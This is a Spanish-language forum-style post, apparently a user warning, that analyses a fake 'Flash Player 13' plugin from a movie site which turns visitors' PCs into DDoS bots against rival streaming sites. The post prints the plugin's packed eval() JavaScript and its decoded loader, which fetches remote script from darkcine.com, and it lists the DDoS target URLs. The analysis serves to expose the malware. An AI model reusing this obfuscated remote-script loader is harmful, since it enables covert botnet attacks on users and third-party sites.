Vieron que cuando accedemos a peliculas-flv.com nos dice que necesitamos instalar Flash Player 13, bueno ese plugin que nos inatala, hace que nuestra PC funcione en modo zombie para hacer DDOS a otros sitios de peliculas online como miracine.com, cinetux.org, puertocine.com y muchos otros mas.
Viendo el codigo del "plugin" que instala tenemos esto:
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('11 5(){8('17:'==2.18.16){9 15}4 3=2.19('14');3.6("10","12/13";3.6("25","30://27.29/20/28/26.21";4 1=(2.7('1')[0]||2.7('22')[0]);8(1==23){9}1.24(3)}5();',10,31,'|head|document|s|var|loadScript_bst|setAttribute|getElementsByTagName|if|return|type|function|text|javascript|script|false|protocol|https|location|createElement|apps|php|body|null|appendChild|src|home|darkcine|flash|com|http'.split('|'),0,{}));
Que desencriptando ese codigo encontramos:
function loadScript_bst() {
if ('https:' == document.location.protocol) {
return false
}
var s = document.createElement('script');
s.setAttribute("type", "text/javascript";
s.setAttribute("src", "http://darkcine.com/apps/flash/home.php";
var head = (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]);
if (head == null) {
return
}
head.appendChild(s)
}
loadScript_bst();
Como vemos carga: http://darkcine.com/apps/flash/home.php ese link lo que hace es cargar y cargar y cargar los sitios de miracine.com, etc. Usando nuestra PC para hacer DDOS a la competencia.
Despues de desencriptar home.php tengo que las webs a las que le hace DDOS son:
"http://www.cinetux.org/iframes/03.php",
"http://www2.cinetux.org/",
"http://www.cinetux.org/",
"http://www.miracine.com/",
"http://www.tucinecom.com/",
"http://www.tucinecom.com/category/subtitulada/",
"http://www.cinetux.org/tematica/sin-categoria",
"http://www.puertocine.com/",
"http://www.miracine.com/series/",
"http://www.miracine.com/series/true-blood-temporada-5.html",
"http://www.cineid.net/reproductor/pelicula/774/28/",
"http://www.cineid.net/peliculas/genero/romance",
"http://elnotito.bligoo.com/media/users/21/1050556/files/264713/ads.php",
"http://elnotito.bligoo.com/media/users/21/1050556/files/264713/prueva.php",
"http://elnotito.bligoo.com/media/users/21/1050556/files/264713/index.html",
"http://elnotito.bligoo.com/media/users/21/1050556/files/264713/facebook.php",
"http://peliculas-hd.org/peliculas/mas-vistas/",
"http://peliculas-hd.org/peliculas/random/",
"http://peliculas-hd.org/peliculas/ver-miss-bala-online.html",
"http://alpendiente.com/sitemap"
Su buscamos en google esa url, vemos que todos los usuarios se quejan de virus y mas cosas:
https://www.google.com.ar/search?hl=es&q=%22http%3A%2F%2Fdarkcine.com%2Fapps%2Fflash%2Fhome.php%22
Les recomiendo no instalar plugins de nada que no sea el repositorio de firefox o chrome.